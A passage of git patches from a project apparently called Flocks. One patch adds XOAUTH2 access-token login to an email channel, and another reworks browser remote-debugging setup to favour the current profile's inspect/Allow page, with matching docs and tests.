cfg["password"]) + + def _authenticate_smtp(self, smtp: smtplib.SMTP) -> None: + cfg = self._resolved + if cfg["authMode"] == "xoauth2": + smtp.auth("XOAUTH2", lambda _challenge=None: self._xoauth2_initial_response()) + return + smtp.login(cfg["username"], cfg["password"]) + def _send_email( self, to_addr: str, @@ -543,7 +568,7 @@ def _send_email( smtp = self._connect_smtp() try: - smtp.login(cfg["username"], cfg["password"]) + self._authenticate_smtp(smtp) smtp.send_message(msg) finally: try: diff --git a/flocks/channel/builtin/email/config.py b/flocks/channel/builtin/email/config.py index a5cffb845..2f8dcc297 100644 --- a/flocks/channel/builtin/email/config.py +++ b/flocks/channel/builtin/email/config.py @@ -47,6 +47,15 @@ def coerce_security_mode(value: Any) -> str: return "" +def coerce_auth_mode(value: Any) -> str: + mode = coerce_str(value).lower().strip() + if mode in {"", "password"}: + return "password" + if mode in {"oauth2", "xoauth2"}: + return "xoauth2" + return mode + + def default_security(port: int, protocol: str) -> str: if protocol == "imap": if port == 993: @@ -111,7 +120,9 @@ def resolved_config(config: dict[str, Any]) -> dict[str, Any]: **config, "address": address, "username": coerce_str(config.get("username")) or address, + "authMode": coerce_auth_mode(config.get("authMode") or config.get("auth_mode")), "password": coerce_str(config.get("password")), + "accessToken": coerce_str(config.get("accessToken") or config.get("access_token")), "imapHost": coerce_str(config.get("imapHost") or config.get("imap_host")), "imapPort": imap_port, "imapSecurity": imap_security, diff --git a/tests/channel/test_email.py b/tests/channel/test_email.py index 7b53624a6..6303afb36 100644 --- a/tests/channel/test_email.py +++ b/tests/channel/test_email.py @@ -137,6 +137,33 @@ def test_config_allows_distinct_login_username() -> None: assert plugin.validate_config(cfg) is None +def test_config_supports_xoauth2_auth_mode_without_password() -> None: + plugin = EmailChannel() + cfg = resolved_config({ + "address": "agent@example.com", + "username": "agent-login", + "authMode": "oauth2", + "access_token": "access-token", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + }) + + assert cfg["authMode"] == "xoauth2" + assert cfg["accessToken"] == "access-token" + assert plugin.validate_config(cfg) is None + assert ( + plugin.validate_config({ + "address": "agent@example.com", + "authMode": "xoauth2", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + }) + == "Missing required config: accessToken" + ) + + def test_email_parsing_helpers() -> None: assert decode_header_value("=?utf-8?B?TWVyaGFiYQ==?=") == "Merhaba" assert strip_html("

Hello
world & team

") == "Hello\nworld & team" @@ -411,11 +438,14 @@ def set(self, key: str, value: str) -> None: "enabled": True, "address": "agent@example.com", "password": "plain-password", + "accessToken": "plain-access-token", } }) assert result["email"]["password"] == "{secret:channel_email_password}" + assert result["email"]["accessToken"] == "{secret:channel_email_accessToken}" assert fake.values["channel_email_password"] == "plain-password" + assert fake.values["channel_email_accessToken"] == "plain-access-token" @pytest.mark.asyncio @@ -538,6 +568,42 @@ def test_test_connections_uses_login_username(monkeypatch: pytest.MonkeyPatch) - fake_smtp.login.assert_called_once_with("agent-login", "pw") +def test_xoauth2_authenticates_imap_and_smtp() -> None: + plugin = EmailChannel() + plugin._resolved = resolved_config({ + "address": "agent@example.com", + "username": "agent-login", + "authMode": "xoauth2", + "accessToken": "access-token", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + }) + + calls: dict[str, object] = {} + + class FakeIMAP: + def authenticate(self, mechanism, authobject): + calls["imap_mechanism"] = mechanism + calls["imap_response"] = authobject(b"") + return "OK", [b"authenticated"] + + class FakeSMTP: + def auth(self, mechanism, authobject): + calls["smtp_mechanism"] = mechanism + calls["smtp_response"] = authobject() + return 235, b"authenticated" + + plugin._authenticate_imap(FakeIMAP()) + plugin._authenticate_smtp(FakeSMTP()) + + expected = "user=agent-login\x01auth=Bearer access-token\x01\x01" + assert calls["imap_mechanism"] == "XOAUTH2" + assert calls["imap_response"] == expected.encode("utf-8") + assert calls["smtp_mechanism"] == "XOAUTH2" + assert calls["smtp_response"] == expected + + def test_fetch_new_messages_reports_select_failure_without_search(monkeypatch: pytest.MonkeyPatch) -> None: plugin = EmailChannel() plugin._resolved = resolved_config({ diff --git a/webui/src/locales/en-US/channel.json b/webui/src/locales/en-US/channel.json index aa69881a8..7d52e2c7d 100644 --- a/webui/src/locales/en-US/channel.json +++ b/webui/src/locales/en-US/channel.json @@ -296,8 +296,14 @@ "addressHint": "Address that receives user mail and sends agent replies.", "username": "Login Username", "usernameHint": "Optional. Defaults to the email address. Use this for Exchange or corporate mailboxes that require a bare username or DOMAIN\\username.", + "authMode": "Auth Mode", + "authModeHint": "Choose the login authentication mode accepted by the mail server.", + "authModePassword": "Password / App Password", + "authModeXoauth2": "OAuth2 / XOAUTH2", "password": "Password", "passwordHint": "Enable IMAP/SMTP in the mailbox provider settings first, then enter the generated client authorization code or app password. Most providers do not accept the normal web login password here. Stored in the Flocks secret store.", + "accessToken": "OAuth2 Access Token", + "accessTokenHint": "Access token used for IMAP/SMTP XOAUTH2 authentication. Stored in the Flocks secret store.", "servers": "Mail Servers", "serversDesc": "Configure the IMAP inbox and SMTP sender used by this channel.", "imapHost": "IMAP Host", diff --git a/webui/src/locales/zh-CN/channel.json b/webui/src/locales/zh-CN/channel.json index 005109942..6f25f1387 100644 --- a/webui/src/locales/zh-CN/channel.json +++ b/webui/src/locales/zh-CN/channel.json @@ -298,8 +298,14 @@ "addressHint": "用于接收用户邮件并发送 Agent 回复的邮箱地址。", "username": "登录用户名", "usernameHint": "选填。未填写时使用邮箱地址登录；适用于 Exchange/企业邮箱要求裸用户名或 DOMAIN\\username 登录的场景。", + "authMode": "认证方式", + "authModeHint": "选择邮箱服务器接受的登录认证方式。", + "authModePassword": "密码 / 授权码", + "authModeXoauth2": "OAuth2 / XOAUTH2", "password": "邮箱密码", "passwordHint": "请先在邮箱服务商后台开启 IMAP/SMTP 服务，并填写生成的客户端授权码或应用专用密码；通常不是邮箱登录密码。保存时会进入 Flocks 密钥存储。", + "accessToken": "OAuth2 Access Token", + "accessTokenHint": "用于 IMAP/SMTP XOAUTH2 认证的访问令牌。保存时会进入 Flocks 密钥存储。", "servers": "邮件服务器", "serversDesc": "配置此通道使用的 IMAP 收件箱和 SMTP 发件服务器。", "imapHost": "IMAP 主机", diff --git a/webui/src/pages/Channel/index.tsx b/webui/src/pages/Channel/index.tsx index 33e2316c1..8e33d8527 100644 --- a/webui/src/pages/Channel/index.tsx +++ b/webui/src/pages/Channel/index.tsx @@ -149,7 +149,9 @@ interface EmailChannelConfig { enabled: boolean; address?: string; username?: string; + authMode?: EmailAuthMode; password?: string; + accessToken?: string; imapHost?: string; imapPort?: number; imapSecurity?: 'ssl' | 'starttls' | 'insecure'; @@ -170,6 +172,7 @@ interface EmailChannelConfig { type EmailSecurityMode = 'ssl' | 'starttls' | 'insecure'; type EmailProtocol = 'imap' | 'smtp'; +type EmailAuthMode = 'password' | 'xoauth2'; const EMAIL_DEFAULT_PORTS: Record> = { imap: { ssl: 993, starttls: 143, insecure: 143 }, @@ -442,6 +445,7 @@ function defaultSlackConfig(): SlackChannelConfig { function defaultEmailConfig(): EmailChannelConfig { return { enabled: false, + authMode: 'password', imapPort: 993, imapSecurity: 'ssl', smtpPort: 587, @@ -2058,6 +2062,7 @@ function EmailPanel({ config, onChange }: EmailPanelProps) { [config, onChange] ); const emailHostPreset = getEmailHostPreset(config.address); + const authMode = config.authMode ?? 'password'; const showNeteaseSmtpSecurityHint = isNeteaseEmailAddress(config.address); const showImapHostWarning = isEmailHostMismatch(config.address, config.imapHost, 'imap'); const showSmtpHostWarning = isEmailHostMismatch(config.address, config.smtpHost, 'smtp'); @@ -2079,13 +2084,33 @@ function EmailPanel({ config, onChange }: EmailPanelProps) { placeholder="username" /> - - set('password', v || undefined)} - placeholder="app password" + + set('authMode', v as EmailAuthMode)} + onChange={(v) => setAuthMode(v as EmailAuthMode)} options={[ { value: 'password', label: t('email.authModePassword') }, { value: 'xoauth2', label: t('email.authModeXoauth2') }, @@ -3635,6 +3647,14 @@ function stripEmpty(obj: Record): Record { function stripChannelConfigForSave(channelId: string, cfg: Record): Record { const result = stripEmpty(cfg); + if (channelId === 'email') { + if (result.authMode === 'xoauth2') { + delete result.password; + } else { + delete result.accessToken; + } + } + if (channelId === 'slack') { const allowFrom = Array.isArray(cfg.allowFrom) ? cfg.allowFrom : []; result.dmPolicy = allowFrom.length > 0 ? 'allowlist' : 'open'; From b634e6d005fd9bea33d85c5f5f279d1cc4e31b1f Mon Sep 17 00:00:00 2001 From: xiami762 Date: Sat, 8 Aug 2026 03:18:25 +0800 Subject: [PATCH 33/67] fix(browser): restore current-profile inspect flow --- .flocks/plugins/skills/browser-use/SKILL.md | 6 +- .../browser-use/references/cdp-direct.md | 13 +-- .../browser-use/references/cdp-setup.md | 14 +-- flocks/browser/admin.py | 84 +++++++++++++---- flocks/browser/daemon.py | 21 +++-- tests/browser/test_admin.py | 90 +++++++++++++------ tests/browser/test_daemon.py | 12 +-- 7 files changed, 161 insertions(+), 79 deletions(-) diff --git a/.flocks/plugins/skills/browser-use/SKILL.md b/.flocks/plugins/skills/browser-use/SKILL.md index d326e126e..819598af5 100644 --- a/.flocks/plugins/skills/browser-use/SKILL.md +++ b/.flocks/plugins/skills/browser-use/SKILL.md @@ -61,9 +61,9 @@ flocks browser --doctor | 结果 | 触发条件 | 一线修复 | 仍失败兜底 | |---|---|---|---| | **A** | `next action` 以 `ready` 开头 | 立即确定 `CDP 直连`,阅读 `references/cdp-direct.md`,之后不再切到 `agent-browser` | — | -| **B** | `next action` 以 `attach` 开头 | 不要先反复 `--setup`；按输出执行 `flocks browser -c 'print(page_info())'` 或 `flocks browser -c 'print(list_tabs(include_chrome=False))'` 触发一次实际连接/观察 | 如果 `-c` 失败或仍无连接，执行 `flocks browser --reload` 清理旧 daemon，再执行 `flocks browser --setup`；若 setup 输出本地 remote debugging 不可达，按 `references/cdp-setup.md` 的固定端口流程处理 | -| **C** | `next action` 以 `setup` 开头 | 先执行 `flocks browser --setup`（不包短超时），再运行 `--doctor` 确认 | 如提示 remote debugging 不可达、`DevToolsActivePort` 缺失、403 handshake 或 not live yet，按 `references/cdp-setup.md` 指引使用非默认 `--user-data-dir` 启动 Chromium 系浏览器，再访问 `/json/version` 验证 | -| **D** | `next action` 提示启动浏览器或提供 endpoint | 明确告知需要先用 remote-debugging 参数启动 Chrome/Chromium/Edge/Brave，或提供 CDP endpoint | **不**擅自降级到 curl/webfetch；坚持告知 skill 边界 | +| **B** | `next action` 以 `attach` 开头 | 不要先反复 `--setup`；按输出执行 `flocks browser -c 'print(page_info())'` 或 `flocks browser -c 'print(list_tabs(include_chrome=False))'` 触发一次实际连接/观察 | 如果 `-c` 失败或仍无连接，执行 `flocks browser --reload` 清理旧 daemon，再执行 `flocks browser --setup`；按 setup 提示在当前 profile 的 inspect 页面完成 Allow 后重试 | +| **C** | `next action` 以 `setup` 开头 | 先执行 `flocks browser --setup`（不包短超时），再运行 `--doctor` 确认 | 如提示 remote debugging 未启用、`DevToolsActivePort` 缺失、403 handshake 或 not live yet，按 `references/cdp-setup.md` 先完成当前 profile 的 inspect/Allow；只有该流程重试后仍失败，才使用独立 profile 固定端口兜底 | +| **D** | `next action` 提示启动浏览器或提供 endpoint | 明确告知需要先启动 Chrome/Chromium/Edge/Brave，或提供 CDP endpoint | **不**擅自降级到 curl/webfetch；坚持告知 skill 边界 | ### Step 4: 跨模式通用失败 diff --git a/.flocks/plugins/skills/browser-use/references/cdp-direct.md b/.flocks/plugins/skills/browser-use/references/cdp-direct.md index 98b6bf685..8b5439de9 100644 --- a/.flocks/plugins/skills/browser-use/references/cdp-direct.md +++ b/.flocks/plugins/skills/browser-use/references/cdp-direct.md @@ -350,13 +350,14 @@ print({"cookies": [c["name"] for c in cookies], "localStorage": js("Object.keys( 1. 先运行 `flocks browser --doctor` 看版本、安装模式、daemon 和浏览器状态；不要只看退出码，优先读 `next action`，再看 `browser running`、`daemon alive`、`active browser connections`。 2. `next action` 为 `attach`，或 `daemon alive` ok 但 `active browser connections` 为 0 时，不要先反复 `--setup`。先用一次实际命令触发连接/观察：`flocks browser -c 'print(page_info())'` 或 `flocks browser -c 'print(list_tabs(include_chrome=False))'`。 -3. 如果上一步失败或仍无连接，再执行 `flocks browser --reload` 清旧 daemon，然后执行 `flocks browser --setup`。若 setup 输出本地 remote debugging 不可达，按 `references/cdp-setup.md` 的固定端口流程处理。 +3. 如果上一步失败或仍无连接，再执行 `flocks browser --reload` 清旧 daemon，然后执行 `flocks browser --setup`；setup 会在需要时打开当前 profile 的 inspect 页面，用户完成 Allow 后会再尝试 attach。 4. 首次安装、冷启动、daemon 不存在/不通，且浏览器已经运行或配置了 `BU_CDP_URL` / `BU_CDP_WS` 时，优先运行 `flocks browser --setup`。 -5. Chrome / Chromium / Edge / Brave 未运行且没有显式 CDP endpoint 时，按 `references/cdp-setup.md` 提供对应平台的 remote-debugging 启动命令。 -6. 只有在明确提示 remote debugging 不可达、`DevToolsActivePort` 缺失、403 handshake、remote-debugging page 或 not live yet 时，才让用户使用非默认 `--user-data-dir` 和 `--remote-debugging-port=9222` 启动 Chromium 系浏览器，并访问 `http://127.0.0.1:9222/json/version` 验证。 -7. 用户刚按固定端口流程启动浏览器时，不要立刻再次运行 `flocks browser --doctor`；先执行一次 `flocks browser --setup`，或直接执行 `flocks browser -c 'print(page_info())'` 触发 daemon attach，再用 `--doctor` 做只读确认。 -8. `connection refused`、`DevTools not live yet`、`/json/version` 404 通常是浏览器正在启动，轮询等待，不要重启。 -9. stale websocket / stale socket 时执行一次： +5. Chrome / Chromium / Edge / Brave 未运行且没有显式 CDP endpoint 时，只提示用户先启动浏览器，再重新运行 `flocks browser --setup`；不要默认要求关闭浏览器或创建独立 profile。 +6. 只有当前 profile 的 inspect/Allow 流程完成且重试仍失败时，才按 `references/cdp-setup.md` 的可选兜底方案使用非默认 `--user-data-dir` 和 `--remote-debugging-port=9222` 启动独立 Chromium 系浏览器。 +7. `chrome://inspect/#remote-debugging` / `edge://inspect/#remote-debugging` 用于为当前 profile 启用并允许 remote debugging；不要从 inspect 页面查找 `webSocketDebuggerUrl`，Flocks 会通过 `DevToolsActivePort` 和 `/json/version` 自行发现 endpoint。 +8. 用户刚按独立 profile 兜底流程启动浏览器时，不要立刻再次运行 `flocks browser --doctor`；先执行一次 `flocks browser --setup`，或直接执行 `flocks browser -c 'print(page_info())'` 触发 daemon attach，再用 `--doctor` 做只读确认。 +9. `connection refused`、`DevTools not live yet`、`/json/version` 404 通常是浏览器正在启动，轮询等待，不要重启。 +10. stale websocket / stale socket 时执行一次： ```bash flocks browser -c 'restart_daemon()' diff --git a/.flocks/plugins/skills/browser-use/references/cdp-setup.md b/.flocks/plugins/skills/browser-use/references/cdp-setup.md index 0626cdb0d..e7a63e061 100644 --- a/.flocks/plugins/skills/browser-use/references/cdp-setup.md +++ b/.flocks/plugins/skills/browser-use/references/cdp-setup.md @@ -1,6 +1,6 @@ # Flocks browser setup -本地固定端口 CDP 设置：daemon 不存在/不通，active browser connection 不可用，或浏览器尚未以 remote debugging 参数启动。 +本地浏览器连接以复用用户当前 profile 为主。独立 profile 固定端口只用于当前 profile 授权并重试后仍无法连接的兜底场景。 先区分两种情况： @@ -11,13 +11,17 @@ 2. daemon 不存在/不通，且浏览器已运行或配置了 `BU_CDP_URL` / `BU_CDP_WS`： - 执行 `flocks browser --setup` 触发 attach，不要用短超时包装该命令。 -只有在错误明确指向 remote debugging 不可达、`DevToolsActivePort` 缺失、403 handshake 或 not live yet 时，才提示用户走本地固定端口流程： +只有在错误明确指向 remote debugging 未启用、`DevToolsActivePort` 缺失、403 handshake 或 not live yet 时，才提示用户完成当前 profile 的授权： ```text -不要从 chrome://inspect 查找 webSocketDebuggerUrl。关闭对应 Chromium 系浏览器后，使用非默认 --user-data-dir 和 --remote-debugging-port=9222 启动浏览器，再访问 http://127.0.0.1:9222/json/version 验证。 +打开对应浏览器的 inspect 页面（例如 chrome://inspect/#remote-debugging 或 edge://inspect/#remote-debugging），选择日常使用的 profile，并勾选或点击 Allow remote debugging。不要从 chrome://inspect 查找 webSocketDebuggerUrl；Flocks 会自行发现 endpoint。 ``` -候选命令按平台选择一个即可；如果浏览器安装路径不同，替换可执行文件路径： +用户完成 Allow 后，`flocks browser --setup` 会再次尝试 attach。不要要求用户先关闭日常浏览器，也不要默认创建独立 profile。 + +## 独立 profile 兜底 + +只有当前 profile 的 inspect/Allow 流程重试后仍失败，才提供以下独立 profile 方案。候选命令按平台选择一个即可；如果浏览器安装路径不同，替换可执行文件路径： Windows PowerShell： @@ -46,7 +50,7 @@ chromium --remote-debugging-port=9222 --user-data-dir="$HOME/.flocks/chromium-de brave-browser --remote-debugging-port=9222 --user-data-dir="$HOME/.flocks/brave-debug-profile" ``` -输出命令后等待用户进一步指示，不要占用当前终端盲目重试。 +输出命令后等待用户进一步指示，不要占用当前终端盲目重试。不要把该方案描述成默认设置方式。 当用户确认 `http://127.0.0.1:9222/json/version` 已可访问后: 1. 执行 `flocks browser --setup` 触发 attach，不要用短超时包装该命令 diff --git a/flocks/browser/admin.py b/flocks/browser/admin.py index c8a4c0065..fedd21b75 100644 --- a/flocks/browser/admin.py +++ b/flocks/browser/admin.py @@ -20,7 +20,7 @@ VERSION_CACHE = Path(tempfile.gettempdir()) / "flocks-browser-version-cache.json" VERSION_CACHE_TTL = 24 * 3600 DOCTOR_TEXT_LIMIT = 140 -# run_setup retries transient attach failures once, but exits after manual setup guidance. +# run_setup retries once after the user enables remote debugging for the current profile. _SETUP_ATTACH_WAIT = 20.0 _SETUP_RETRY_WAIT = 30.0 @@ -49,7 +49,7 @@ def _log_tail(name: str | None): def _needs_chrome_remote_debugging_prompt(msg: str | None) -> bool: - """Return True when a local browser needs remote-debugging setup guidance.""" + """Return True when a local browser needs the inspect-page permission flow.""" lower = (msg or "").lower() return ( "devtoolsactiveport not found" in lower @@ -63,12 +63,13 @@ def _needs_chrome_remote_debugging_prompt(msg: str | None) -> bool: def _local_debugging_setup_lines(system: str | None = None) -> list[str]: - """Return concise manual setup guidance for local Chromium-based debugging.""" + """Return optional isolated-browser fallback guidance.""" import platform system = system or platform.system() lines = [ - "Do not look for webSocketDebuggerUrl in chrome://inspect; that page does not reliably show it.", + "Fallback only: use this if the current-profile inspect/Allow flow still cannot attach.", + "Do not look for webSocketDebuggerUrl in chrome://inspect; Flocks discovers the endpoint itself.", "Close the matching Chromium-based browser if it is already open, then run one command below.", ] if system == "Windows": @@ -275,7 +276,7 @@ def _doctor_short_text(value, limit: int | None = None) -> str: def ensure_daemon( - wait: float = 60.0, name: str | None = None, env: dict | None = None, _show_debugging_guidance: bool = True + wait: float = 60.0, name: str | None = None, env: dict | None = None, _open_inspect: bool = True ) -> None: """Ensure a healthy daemon is running, restarting stale sessions when needed.""" effective_name = ipc.runtime_paths(name or NAME).name @@ -328,10 +329,17 @@ def spawn_daemon(): msg = _log_tail(effective_name) or "" if local and attempt == 0 and _needs_chrome_remote_debugging_prompt(msg): restart_daemon(effective_name) - if _show_debugging_guidance: - print(f"{BROWSER_LABEL}: local Chromium-based browser remote debugging is not reachable.", file=sys.stderr) - _print_local_debugging_setup(sys.stderr) - raise RuntimeError(msg or f"daemon {effective_name} didn't come up -- check {ipc.log_path(effective_name)}") + if not _open_inspect: + raise RuntimeError( + msg or f"daemon {effective_name} didn't come up -- check {ipc.log_path(effective_name)}" + ) + _open_browser_inspect() + print( + f"{BROWSER_LABEL}: click Allow on your browser's inspect page " + "(for example chrome://inspect or edge://inspect), and tick the checkbox if shown", + file=sys.stderr, + ) + continue raise RuntimeError(msg or f"daemon {effective_name} didn't come up -- check {ipc.log_path(effective_name)}") @@ -437,6 +445,40 @@ def _chrome_running() -> bool: return False +def _open_browser_inspect() -> None: + import platform + import subprocess + import webbrowser + + inspect_targets = [ + ("Google Chrome", "chrome://inspect/#remote-debugging"), + ("Microsoft Edge", "edge://inspect/#remote-debugging"), + ] + if platform.system() == "Darwin": + for app_name, url in inspect_targets: + try: + subprocess.run( + [ + "osascript", + "-e", + f'tell application "{app_name}" to activate', + "-e", + f'tell application "{app_name}" to open location "{url}"', + ], + timeout=5, + check=False, + ) + return + except Exception: + continue + for _app_name, url in inspect_targets: + try: + if webbrowser.open(url, new=2): + return + except Exception: + continue + + def run_setup() -> int: """Interactively attach to the running browser.""" import sys @@ -458,33 +500,37 @@ def run_setup() -> int: restart_daemon() if not endpoint_name and not _chrome_running(): print("no Chrome/Chromium/Edge/Brave process detected.") - print("start a Chromium-based browser with remote debugging, then rerun `flocks browser --setup`.") - _print_local_debugging_setup(sys.stdout) + print("start Chrome, Chromium, Edge, or Brave and rerun `flocks browser --setup`.") return 1 try: - ensure_daemon(wait=_SETUP_ATTACH_WAIT, _show_debugging_guidance=False) + ensure_daemon(wait=_SETUP_ATTACH_WAIT, _open_inspect=False) print("daemon is up.") return 0 except RuntimeError as error: first_err = str(error) - needs_manual_debugging_setup = _is_local_chrome_mode() and _needs_chrome_remote_debugging_prompt(first_err) - if needs_manual_debugging_setup: - print("Chromium-based browser remote debugging is not reachable for the current profile.") - _print_local_debugging_setup(sys.stdout) - return 1 + needs_inspect = _is_local_chrome_mode() and _needs_chrome_remote_debugging_prompt(first_err) + if needs_inspect: + print("browser remote debugging is not enabled on the current profile.") + print("opening your browser's inspect page -- in the tab that opens:") + print(" 1. if the browser shows the profile picker, pick your normal profile;") + print(" 2. tick 'Discover network targets' and click Allow if prompted.") + _open_browser_inspect() else: print(f"attach failed: {first_err}") print("retrying once (the browser may still be starting up)...") try: - ensure_daemon(wait=_SETUP_RETRY_WAIT, _show_debugging_guidance=False) + ensure_daemon(wait=_SETUP_RETRY_WAIT, _open_inspect=False) print("daemon is up.") return 0 except RuntimeError as error: last = str(error) print(f"setup failed: {last}", file=sys.stderr) + if needs_inspect and _needs_chrome_remote_debugging_prompt(last): + print("current-profile attach still failed; optional isolated-browser fallback:", file=sys.stderr) + _print_local_debugging_setup(sys.stderr) print("run `flocks browser --doctor` for diagnostics.", file=sys.stderr) return 1 @@ -550,7 +596,7 @@ def row(label: str, ok: bool, detail: str = "") -> None: daemon, "" if daemon - else "not running; run `flocks browser --setup` to attach; if setup reports remote debugging is not reachable, follow its debug-browser instructions", + else "not running; run `flocks browser --setup` to attach; if setup reports remote debugging is disabled, follow its inspect-page prompt", ) row("active browser connections", bool(connections), str(len(connections))) for conn in connections: diff --git a/flocks/browser/daemon.py b/flocks/browser/daemon.py index 8a60a5469..8bbd61fbf 100644 --- a/flocks/browser/daemon.py +++ b/flocks/browser/daemon.py @@ -63,7 +63,6 @@ def profile_dirs( if system == "Darwin": support = home / "Library/Application Support" return [ - *flocks_debug_profiles, support / "Google/Chrome", support / "Google/Chrome Canary", support / "Comet", @@ -74,11 +73,11 @@ def profile_dirs( support / "Microsoft Edge Canary", support / "BraveSoftware/Brave-Browser", support / "Chromium", + *flocks_debug_profiles, ] if system == "Windows": local = Path(environ.get("LOCALAPPDATA", str(home / "AppData/Local"))).expanduser() return [ - *flocks_debug_profiles, local / "Google/Chrome/User Data", local / "Google/Chrome Beta/User Data", local / "Google/Chrome Dev/User Data", @@ -91,9 +90,9 @@ def profile_dirs( local / "BraveSoftware/Brave-Browser/User Data", local / "BraveSoftware/Brave-Browser-Beta/User Data", local / "BraveSoftware/Brave-Browser-Nightly/User Data", + *flocks_debug_profiles, ] return [ - *flocks_debug_profiles, home / ".config/google-chrome", home / ".config/google-chrome-beta", home / ".config/google-chrome-unstable", @@ -107,6 +106,7 @@ def profile_dirs( home / ".var/app/com.google.Chrome/config/google-chrome", home / ".var/app/com.brave.Browser/config/BraveSoftware/Brave-Browser", home / ".var/app/com.microsoft.Edge/config/microsoft-edge", + *flocks_debug_profiles, ] @@ -210,14 +210,15 @@ def get_ws_url() -> str: if profile_errors: details = "; ".join(dict.fromkeys(profile_errors)) raise RuntimeError( - "Chromium-based browser remote debugging is not reachable for any detected profile: " - f"{details} — for manual setup, start the browser with --remote-debugging-port and a non-default " - "--user-data-dir, then verify http://127.0.0.1:9222/json/version" + "The browser's remote-debugging page is open, but DevTools is not live yet for any detected profile: " + f"{details} — if the browser opened a profile picker, choose your normal profile first, then tick the " + "checkbox and click Allow if shown" ) raise RuntimeError( "DevToolsActivePort not found in " - f"{[str(path) for path in profiles]} — start a Chromium-based browser with --remote-debugging-port and a non-default " - "--user-data-dir, or set BU_CDP_WS for a remote browser" + f"{[str(path) for path in profiles]} — enable your browser's remote-debugging page " + "(for example chrome://inspect/#remote-debugging or edge://inspect/#remote-debugging), " + "or set BU_CDP_WS for a remote browser" ) @@ -291,9 +292,7 @@ async def start(self) -> None: f"{hint}" ) from error raise RuntimeError( - f"CDP WS handshake failed: {error} -- restart your Chromium-based browser with " - "--remote-debugging-port and a non-default --user-data-dir, then verify " - "http://127.0.0.1:9222/json/version" + f"CDP WS handshake failed: {error} -- click Allow in your browser if prompted, then retry" ) await self.attach_first_page() orig = self.cdp._event_registry.handle_event diff --git a/tests/browser/test_admin.py b/tests/browser/test_admin.py index 0ee22f407..c46906e3e 100644 --- a/tests/browser/test_admin.py +++ b/tests/browser/test_admin.py @@ -74,7 +74,8 @@ def test_local_debugging_setup_lines_use_windows_user_data_dir() -> None: lines = "\n".join(admin._local_debugging_setup_lines("Windows")) assert "chrome://inspect" in lines - assert "does not reliably show it" in lines + assert "Fallback only" in lines + assert "Flocks discovers the endpoint itself" in lines assert "--remote-debugging-port=9222" in lines assert '--user-data-dir="$env:USERPROFILE\\.flocks\\chrome-debug-profile"' in lines assert "msedge.exe" in lines @@ -97,7 +98,7 @@ def test_local_debugging_setup_lines_list_chromium_browser_candidates() -> None: assert "brave-browser" in linux_lines -def test_browser_skill_docs_do_not_reintroduce_inspect_allow_setup_flow() -> None: +def test_browser_skill_docs_keep_inspect_allow_as_primary_setup_flow() -> None: repo_root = Path(__file__).resolve().parents[2] docs = [ repo_root / ".flocks/plugins/skills/browser-use/SKILL.md", @@ -106,9 +107,10 @@ def test_browser_skill_docs_do_not_reintroduce_inspect_allow_setup_flow() -> Non ] text = "\n".join(path.read_text(encoding="utf-8") for path in docs) - assert "chrome://inspect/#remote-debugging" not in text - assert "edge://inspect/#remote-debugging" not in text - assert "Allow remote debugging" not in text + assert "chrome://inspect/#remote-debugging" in text + assert "edge://inspect/#remote-debugging" in text + assert "Allow remote debugging" in text + assert "不要从 chrome://inspect 查找 webSocketDebuggerUrl" in text def test_daemon_endpoint_names_discovers_default_and_named_sessions(tmp_path, monkeypatch) -> None: @@ -243,9 +245,10 @@ def fake_popen(*args, **kwargs): assert len(spawned) == 2 -def test_ensure_daemon_prints_manual_guidance_without_blind_retry(tmp_path, monkeypatch, capsys) -> None: +def test_ensure_daemon_opens_inspect_and_retries_current_profile(tmp_path, monkeypatch, capsys) -> None: spawned = [] restarted = [] + open_calls = [] class FakeProcess: def poll(self): @@ -265,16 +268,16 @@ def fake_popen(*args, **kwargs): lambda name: "Chromium-based browser remote debugging is not reachable for any detected profile", ) monkeypatch.setattr(admin, "restart_daemon", lambda name=None: restarted.append(name)) - monkeypatch.setattr(admin, "_local_debugging_setup_lines", lambda: ["debug browser instructions"]) + monkeypatch.setattr(admin, "_open_browser_inspect", lambda: open_calls.append(True)) with pytest.raises(RuntimeError): admin.ensure_daemon(wait=1.0, name="manual-session") err = capsys.readouterr().err - assert "local Chromium-based browser remote debugging is not reachable" in err - assert "debug browser instructions" in err - assert len(spawned) == 1 + assert "click Allow on your browser's inspect page" in err + assert len(spawned) == 2 assert restarted == ["manual-session"] + assert open_calls == [True] def test_run_doctor_prints_active_browser_connections_and_active_pages(monkeypatch, capsys) -> None: @@ -363,21 +366,21 @@ def test_run_doctor_suggests_setup_when_target_exists_but_daemon_missing(monkeyp def test_run_setup_uses_generic_missing_browser_wording(monkeypatch, capsys) -> None: monkeypatch.setattr(admin, "daemon_alive", lambda: False) monkeypatch.setattr(admin, "_chrome_running", lambda: False) - monkeypatch.setattr(admin, "_local_debugging_setup_lines", lambda: ["debug browser instructions"]) assert admin.run_setup() == 1 out = capsys.readouterr().out assert "no Chrome/Chromium/Edge/Brave process detected" in out - assert "start a Chromium-based browser with remote debugging" in out - assert "debug browser instructions" in out + assert "start Chrome, Chromium, Edge, or Brave" in out + assert "--remote-debugging-port" not in out -def test_run_setup_prints_remote_debugging_guidance_without_blind_retry(monkeypatch, capsys) -> None: +def test_run_setup_opens_inspect_and_retries_current_profile(monkeypatch, capsys) -> None: monkeypatch.setattr(admin, "daemon_alive", lambda: False) monkeypatch.setattr(admin, "_chrome_running", lambda: True) monkeypatch.setattr(admin, "_is_local_chrome_mode", lambda env=None: True) - monkeypatch.setattr(admin, "_local_debugging_setup_lines", lambda: ["debug browser instructions"]) + open_calls = [] + monkeypatch.setattr(admin, "_open_browser_inspect", lambda: open_calls.append(True), raising=False) calls = {"count": 0} @@ -391,13 +394,43 @@ def fake_ensure_daemon(*args, **kwargs): monkeypatch.setattr(admin, "ensure_daemon", fake_ensure_daemon) - assert admin.run_setup() == 1 + assert admin.run_setup() == 0 out = capsys.readouterr().out - assert "Chromium-based browser remote debugging is not reachable for the current profile." in out - assert "debug browser instructions" in out - assert "opening your browser's inspect page" not in out - assert calls["count"] == 1 + assert "browser remote debugging is not enabled on the current profile." in out + assert "opening your browser's inspect page" in out + assert "pick your normal profile" in out + assert open_calls == [True] + assert calls["count"] == 2 + + +def test_run_setup_prints_isolated_fallback_only_after_inspect_retry_fails(monkeypatch, capsys) -> None: + monkeypatch.setattr(admin, "daemon_alive", lambda: False) + monkeypatch.setattr(admin, "_chrome_running", lambda: True) + monkeypatch.setattr(admin, "_is_local_chrome_mode", lambda env=None: 